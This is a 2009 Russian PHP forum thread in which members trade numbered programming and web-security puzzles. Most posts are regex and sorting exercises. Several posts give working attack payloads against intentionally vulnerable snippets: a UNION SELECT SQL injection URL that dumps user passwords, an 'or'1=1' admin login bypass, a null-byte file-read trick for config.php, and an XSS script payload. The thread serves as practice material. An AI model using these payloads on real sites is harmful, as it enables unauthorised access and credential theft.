[PHP] ЗАДАНИЯ от Krist_ALL

Discussion in 'PHP' started by Krist_ALL, 20 Jun 2009.

  1. Extremal

    Extremal Elder - Старейшина

    Joined:
    21 Jun 2006
    Messages:
    66
    Likes Received:
    85
    Reputations:
    10
    Code:
    http://site.com/index.php?name=union%09select%091,2,CONCAT_WS(':',name,passwd),4,5,6%09from%09users/*
     
    #21 Extremal, 22 Jun 2009
    Last edited: 22 Jun 2009
    1 person likes this.
  2. SleepShadowWeb

    Joined:
    2 Feb 2006
    Messages:
    26
    Likes Received:
    15
    Reputations:
    0
    в 6 'password'=0
    в 9 точек добавить штук 250
    в 11
    PHP:
    function zamena($s
    {
        return 
    "0x".strtoupper(dechex($s[1]));
    }


    $str='  
    383 текст с числами 5838  
    635 еще текст 001 462  
    432текст564  
    '


    $str preg_replace_callback("/(\d{4})/U""zamena"$str);
    $str preg_replace_callback("/(\d{3})/U""zamena"$str);
    echo 
    $str;
     
    #22 SleepShadowWeb, 22 Jun 2009
    Last edited: 22 Jun 2009
    2 people like this.
  3. BlackSun

    BlackSun Banned

    Joined:
    1 Apr 2007
    Messages:
    989
    Likes Received:
    1,168
    Reputations:
    446
    Задумывалось немного по другому :)

     
  4. Krist_ALL

    Krist_ALL Banned

    Joined:
    14 Jan 2009
    Messages:
    436
    Likes Received:
    193
    Reputations:
    24
    SleepShadowWeb, 9 задание не правильно сделал, остальные правильно! Молодец.

    Добавил еще 3 задания.
     
    #24 Krist_ALL, 22 Jun 2009
    Last edited: 22 Jun 2009
  5. d_x

    d_x Banned

    Joined:
    25 Mar 2008
    Messages:
    558
    Likes Received:
    650
    Reputations:
    210
    SleepShadowWeb, правильно 011 сделал, хотя можно было немного попроще:
    PHP:
    $str='
    383 текст с числами 5838
    635 еще текст 001 462
    432текст564
    '
    ;

    $str=preg_replace_callback("/(\d+)/s","replace_hex",$str);

    function 
    replace_hex($m)
    {
      return 
    '0x'.strtoupper(dechex($m[1]));
    }

    print 
    $str;
     
  6. Extremal

    Extremal Elder - Старейшина

    Joined:
    21 Jun 2006
    Messages:
    66
    Likes Received:
    85
    Reputations:
    10
    Задание 013
    Войти в панель администрирования, используя sql injection . В БД не лезть. Обмануть проверку просто.
    PHP код:
    PHP:
    <?php // Login.php
    ....
    $query "select * from admin where pass = '$_POST['pass']' and login = '$_POST['login']'";
    ?>
    Code:
    login = 'or'1=1'
    pass = 'or'1=1'
    
     
    1 person likes this.
  7. FireFenix

    FireFenix Elder - Старейшина

    Joined:
    3 Jun 2009
    Messages:
    390
    Likes Received:
    115
    Reputations:
    23
    Задание 015
    Какое число будет записано в переменую id при регистр глобал ON, и объяснить ПОЧЕМУ.
    PHP:
    POST => $id = 1
    COOKIE => $id = 2
    GET => $id = 3
    PHP код:
    <?ph 
    $id = $_REСQUEST['id']; 
    ?>
    Правильно не $_REСQUEST а $_REQUEST
    При global On и опции GPC будет записанно 2
    Потому что "C" (Cookie) в опции GPC стоит последней => будет записанна последней
     
    #27 FireFenix, 22 Jun 2009
    Last edited: 22 Jun 2009
    1 person likes this.
  8. Extremal

    Extremal Elder - Старейшина

    Joined:
    21 Jun 2006
    Messages:
    66
    Likes Received:
    85
    Reputations:
    10
    Задание 009
    В директории 2 файла: index.php , news.inc , config.php. Надо обойти защиту от расширения и прочитать файл config.php
    PHP:
    <?php

    $f 
    = (string)@$_GET['f'];  
    $f str_replace('/'''$f);  
    $f .= .inc;  

    if (
    file_exists($f)) { 
       echo 
    htmlspecialchars(file_get_contents($f));                                    }  
     
    else  exit;
    ?> 
    magic_quotes_gpc = OFF
    Code:
    http://site.com/file.php?f=config.php%00
     
    1 person likes this.
  9. Doom123

    Doom123 Elder - Старейшина

    Joined:
    11 Nov 2006
    Messages:
    749
    Likes Received:
    244
    Reputations:
    22
    BlackSun

    можно и так ... =)

    [/IMG]<script>alert(/lol/)</script>[/IMG]

    если воспользоватся возможностями html_entity_decode =)
     
  10. 159932

    159932 Elder - Старейшина

    Joined:
    28 Sep 2007
    Messages:
    587
    Likes Received:
    462
    Reputations:
    5
    в регулярке модификатор s зачем? помоему и без него реплейсу живёться не дурно..
    strtoupper тут зачем ? поднимаем хекс товарищи!
    в колбеках с небольшой ф-ией удобно будет заюзать create_function(); вместо создания отдельной ..
     
    #30 159932, 22 Jun 2009
    Last edited: 22 Jun 2009
    1 person likes this.
  11. m0nsieur

    m0nsieur Elder - Старейшина

    Joined:
    8 Apr 2008
    Messages:
    223
    Likes Received:
    69
    Reputations:
    10
    кстати, может объяснит кто-то зачем замену делать в отдельной функции, я пробовал у себя так preg_replace("/(\d+)/", dechex("\$1"),$str); возвращает везде 0, не пойму почему так, буду благодарен, если кто-то разъяснит =)
     
  12. FireFenix

    FireFenix Elder - Старейшина

    Joined:
    3 Jun 2009
    Messages:
    390
    Likes Received:
    115
    Reputations:
    23
    При указании отдельной функции в регулярке - то при вхождении будет выполненна эта функция
     
  13. Krist_ALL

    Krist_ALL Banned

    Joined:
    14 Jan 2009
    Messages:
    436
    Likes Received:
    193
    Reputations:
    24
    Dechex($1)
     
  14. d_x

    d_x Banned

    Joined:
    25 Mar 2008
    Messages:
    558
    Likes Received:
    650
    Reputations:
    210
    Забавно, получается, что самый короткий вариант:
    PHP:
    $str=preg_replace("/(\d+)/e","'0x'.dechex($1);",$str);
     
  15. astrologer

    astrologer Elder - Старейшина

    Joined:
    30 Aug 2007
    Messages:
    837
    Likes Received:
    267
    Reputations:
    59
    Почему не так:
    Code:
    $str=preg_replace('/\d+/e',"'0x'.dechex($0)",$str);
    ?
     
    1 person likes this.
  16. m0nsieur

    m0nsieur Elder - Старейшина

    Joined:
    8 Apr 2008
    Messages:
    223
    Likes Received:
    69
    Reputations:
    10
    Оказывается мой вариант рабочий был =) зря только \ ставил.
     
  17. Krist_ALL

    Krist_ALL Banned

    Joined:
    14 Jan 2009
    Messages:
    436
    Likes Received:
    193
    Reputations:
    24
    Ну я смотрю некоторые люди заинтересовались заданиями... Хотелось бы услышить мнение ваше. Сначало были одни тупые возражения в мой адрес. А теперь? Когда задания "работают" ? Калие недостатки? Что не нравится? Итд.
     
    2 people like this.
  18. Doom123

    Doom123 Elder - Старейшина

    Joined:
    11 Nov 2006
    Messages:
    749
    Likes Received:
    244
    Reputations:
    22
    Задание 014
    preg_replace('#([^\W\d\s]+)#',md5("$1"),$text)
     
    2 people like this.
  19. d_x

    d_x Banned

    Joined:
    25 Mar 2008
    Messages:
    558
    Likes Received:
    650
    Reputations:
    210
    Новое задание от меня.

    Есть массив:
    PHP:
    $arr=Array(
    Array(
    'key1'=> 1'key2'=>3),
    Array(
    'key1'=> 8'key2'=>4),
    Array(
    'key1'=> 5'key2'=>6),
    Array(
    'key1'=> 5'key2'=>8),
    Array(
    'key1'=> 6'key2'=>9),
    Array(
    'key1'=> 3'key2'=>7),
    Array(
    'key1'=> 5'key2'=>1),
    Array(
    'key1'=> 2'key2'=>2),
    Array(
    'key1'=> 0'key2'=>0),
    Array(
    'key1'=> 2'key2'=>5)
    );
    Написать функцию для его сортировки, чтобы можно было отсортировать этот массив, например, по ключам key1 по возрастанию и по ключам key2 по убыванию (нечто вроде sql - order by key1 asc, key2 desc), чтобы в результате получился такой массив:
    PHP:
    Array(
    //все key1 - по возрастанию
    Array('key1'=>0,'key2'=>0),
    Array(
    'key1'=>1,'key2'=>3),
    Array(
    'key1'=>2,'key2'=>5), //тут
    Array('key1'=>2,'key2'=>2),  //и тут key2 - по убыванию
    Array('key1'=>3,'key2'=>7),
    Array(
    'key1'=>5,'key2'=>8), //аналогично тут
    Array('key1'=>5,'key2'=>6), //тут
    Array('key1'=>5,'key2'=>1), //и тут
    Array('key1'=>6,'key2'=>9),
    Array(
    'key1'=>8,'key2'=>4)
    )
    Учесть, что ключей у вложенных массивов может быть сколько угодно, самих вложенных массивов также может быть любое число.
     
    #39 d_x, 22 Jun 2009
    Last edited: 22 Jun 2009
    1 person likes this.
  20. Krist_ALL

    Krist_ALL Banned

    Joined:
    14 Jan 2009
    Messages:
    436
    Likes Received:
    193
    Reputations:
    24
    3 новых задания ждут вас!!!)